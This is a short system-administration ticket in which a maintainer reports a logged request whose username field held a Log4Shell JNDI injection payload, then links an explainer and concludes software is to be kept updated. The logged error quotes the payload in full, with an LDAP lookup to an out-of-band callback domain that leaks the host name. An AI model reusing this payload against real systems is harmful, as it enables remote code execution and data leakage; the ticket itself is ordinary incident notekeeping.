#5447 (username starting with jndi:ldap)

by Luc Saffre · in Hosting (system administration) · assigned to Luc Saffre

2 ans, 8 mois ago by Luc Saffre about #5447 (username starting with jndi:ldap) : Since this looked like an attack, I wanted to know more. I found this: [url qwiet.ai/log4shell-jndi-injection-via-attackable-log4j/ JNDI Injection via Attackable Log4J]. Okay so this just reminds us to keep our software up-to-date.
2 ans, 8 mois ago by Luc Saffre about #5447 (username starting with jndi:ldap) : The maintainers of laudate received an error message: [ets] ERROR: AjaxExceptionResponse Http404: system.sessions is not a class\nin request POST /api/system/sessions (data: <QueryDict: {'{"username":"${jndi:ldap://${:-258}${:-381}.${hostName}.username.cn8svldnup90u531oqngadzizc7n1nzhr.oast.online}"...
2 ans, 8 mois ago by Luc Saffre about #5447 (username starting with jndi:ldap) : Created new Ticket #5447@hosting (username starting with jndi:ldap).